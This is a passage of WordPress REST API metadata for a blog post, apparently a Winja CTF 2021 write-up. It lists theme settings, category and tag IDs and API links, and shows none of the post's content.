nu_link_color_active":"","ocean_menu_link_background":"","ocean_menu_link_hover_background":"","ocean_menu_link_active_background":"","ocean_menu_social_links_bg":"","ocean_menu_social_hover_links_bg":"","ocean_menu_social_links_color":"","ocean_menu_social_hover_links_color":"","ocean_disable_title":"default","ocean_disable_heading":"default","ocean_post_title":"","ocean_post_subheading":"","ocean_post_title_style":"","ocean_post_title_background_color":"","ocean_post_title_background":0,"ocean_post_title_bg_image_position":"","ocean_post_title_bg_image_attachment":"","ocean_post_title_bg_image_repeat":"","ocean_post_title_bg_image_size":"","ocean_post_title_height":0,"ocean_post_title_bg_overlay":0.5,"ocean_post_title_bg_overlay_color":"","ocean_disable_breadcrumbs":"default","ocean_breadcrumbs_color":"","ocean_breadcrumbs_separator_color":"","ocean_breadcrumbs_links_color":"","ocean_breadcrumbs_links_hover_color":"","ocean_display_footer_widgets":"default","ocean_display_footer_bottom":"default","ocean_custom_footer_template":"","ocean_post_oembed":"","ocean_post_self_hosted_media":"","ocean_post_video_embed":"","ocean_link_format":"","ocean_link_format_target":"self","ocean_quote_format":"","ocean_quote_format_link":"post","ocean_gallery_link_images":"on","ocean_gallery_id":[],"footnotes":""},"categories":[280,2,1],"tags":[296,243,287,284,286,285,281,282],"class_list":["post-698","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-ctf","category-information-security","category-uncategorized","tag-ctf","tag-nullcon","tag-osint","tag-stegnography","tag-system-administration","tag-web","tag-winja","tag-winjactf2021","entry","has-media"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/posts\/698"}],"collection":[{"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/comments?post=698"}],"version-history":[{"count":4,"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/posts\/698\/revisions"}],"predecessor-version":[{"id":721,"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/posts\/698\/revisions\/721"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/media\/651"}],"wp:attachment":[{"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/media?parent=698"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/categories?post=698"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/tags?post=698"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}